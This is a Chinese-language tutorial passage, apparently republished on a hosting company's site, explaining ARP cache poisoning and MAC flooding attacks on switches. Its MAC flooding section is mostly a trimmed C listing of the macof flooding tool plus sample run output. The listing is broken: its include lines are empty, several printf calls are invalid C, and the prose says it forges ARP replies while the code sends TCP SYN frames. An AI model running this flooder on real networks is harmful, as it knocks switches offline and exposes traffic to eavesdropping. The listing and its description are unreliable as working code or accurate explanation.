二、 攻击分类
◆ARP缓存中毒
这是个非常有意思的标题—“中毒”,这能让我联想到霉绿色的空气和腐锈的红色河水,毕竟地球区域生态环境令人担心?。
ARP缓存中毒其实质并没有字面含义那么可怕。还记得前面所提高过ARP缓存表的概念吧,事实上每个网络设备都有一个APR表,其中临时记录着匹配的设备MAC和IP地址映射对。它保证这些记录具有唯一性,即一个IP只单独映射一个MAC。又由于ARP本身不具备认证信任机制,因此欺骗行为变的泛滥。当网络设备发送ARP REQUEST时,它完全相信ARP REPLY回应是来自于正确设备,因为它不能验证回应数据包是否确切从正确的设备发送的。更糟糕的是,许多操作系统并不需要发送ARP请求数据包就直接承认其他设备发送的ARP回应数据包。
这样垃圾方式的设计让入侵变的肆意,而防御却无奈了许多。假设我是一个黑帽,我知道ARP并无验证行为,而且系统不需要发送请求数据包就可接收ARP的回应数据包。我会怎么做?创建一个貌似合法的ARP REPLY数据包,其中伪造我所希望的MAC和IP地址,并发送给盲目接收此类数据包的主机系统。结果,这种方式欺骗主机使其更新我所希望的MAC-IP地址映射对。当然,我可以肆意广播这种ARP REPLY数据包,愚弄整个网络系统所有主机(?冷)。
现在你知道了ARP的一个小技巧,我们称其为:ARP缓存中毒。正是通过它,无数的发明创造出来,正如轮子的发明可以和人类登月媲美,简单的发明可以翘动地球。
◆MAC泛洪攻击(Flooding)
现在的网络结构大多数使用交换方式(Switched)结构取代早先的的广播方式(Broadcast),这样的优势在于交换机不会向每个端口无聊的推送广播风暴,它稍微智能的判断需要推送数据的端口,这让那些层在HUB方式连接的下大显神威的嗅探器(snffer)感到憋足。
然而进步的力量有时候令“安全”变的很娇嫩。交换机启用端口安全特性(Port security)需要消耗部分的CPU,当交换处理超负载后,交换机就无法处理端口安全,此时交换机陷入了HUB模式,数据被简单的广播到网络中的每台计算机中,于是窃听活动仍然可以继续。于是利用大量的伪造ARP REQUEST数据包对交换机的ARP表进行泛洪攻击(ARP缓存表中毒的典型运用),可以轻易使很多厂商交换机负荷过载(CISCO 1900和3COM superstackII就容易遭受攻击),此刻交换机处于类似HUB工作方式,因而可轻松使用包嗅探器刺探整个网络。
macof的小程序轻松了实现了这样的功能,其代码实现如下:
---------------snip-------------------
#include "config.h"
#include
#include
#include
#include
#include
#include
#include
#include "version.h"
extern char *ether_ntoa(struct ether_addr *);
extern struct ether_addr *ether_aton(char *);
in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL;
u_short Dport = 0;
u_short Sport = 0;
char *Intf = NULL;
int Repeat = -1; //导致伪造MAC的无限循环
void usage(void) {
fprintf(stderr, "Version: " VERSION "\n"
"Usage: macof ");
exit(1);
}
void gen_mac(u_char *mac) {
//产生随机MAC地址
*((in_addr_t *)mac) = libnet_get_prand(PRu32);
*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);
}
int main(int argc, char *argv[]) {
int c, i;
struct libnet_link_int *llif;
char ebuf[PCAP_ERRBUF_SIZE];
u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
in_addr_t src, dst;
u_short sport, dport;
u_int32_t seq;
u_char pkt[ETH_H + IP_H + TCP_H];
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)
errx(1, "%s", ebuf);
libnet_seed_prand();
for (i = 0; i != Repeat; i++) {
gen_mac(sha);
gen_mac(tha);
src = libnet_get_prand(PRu32);
dst = libnet_get_prand(PRu32);
sport = libnet_get_prand(PRu16);
dport = libnet_get_prand(PRu16);
seq = libnet_get_prand(PRu32);
//伪造貌似合法MAC地址
libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);
libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);
libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
0, NULL, 0, pkt + ETH_H + IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);
if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)
errx(1, "write");
fprintf(stderr, "%s ",
"源MAC地址:"ether_ntoa((struct ether_addr *)sha));
fprintf(stderr, "%s\n %s:%d > %s:%d\n",
"目标MAC地址:"ether_ntoa((struct ether_addr *)tha),
"源IP地址/端口:"libnet_host_lookup(Src, 0), sport,
"目标IP地址/端口:"libnet_host_lookup(Dst, 0), dport);
}
exit(0);
}
-----------------snip end-----------------------------
/* 本程序的作者是Dug Songdugsong@m.org,由于这里只需要实现MAC FLOODING的攻击,所以我对程序做了精简,便于读者直观了解MAC FLOODING的攻击原理。另外,macof的最早作者是Ian Vitek,采用Perl进行编写的*/
#macof 测试
[root@hackersvr /]# macof
源MAC地址:77:6b:e1:6e:5e:8c目标MAC地址:93:2d:ed:45:f9:e3
源IP地址/端口:0.0.0.0:45702目标IP地址/端口0.0.0.0:11000
源MAC地址:84:a4:d3:57:ef:8目标MAC地址:12:56:52:42:dc:95
源IP地址/端口:0.0.0.0:16630目标IP地址/端口0.0.0.0:3031
源MAC地址:f0:9:3f:18:89目标MAC地址:1d:86:53:53:d7:f8
源IP地址/端口:0.0.0.0:15535目标IP地址/端口0.0.0.0:7466 …………
此程序伪装大量ARP回应数据包,导致交换机过载处理,因而陷入HUB方式处理数据包,Port Security特性失效。通过这种方式导致网络安全再度陷入了窃听的恐慌之中(注意:本程序只做实验用途,严禁使用于任何工作环境,否则将导致网络瘫痪或交换机硬件重置)。 本文出自:亿恩科技【www.enkj.com】
服务器租用/服务器托管中国五强!虚拟主机域名注册顶级提供商!15年品质保障!--亿恩科技[ENKJ.COM]
|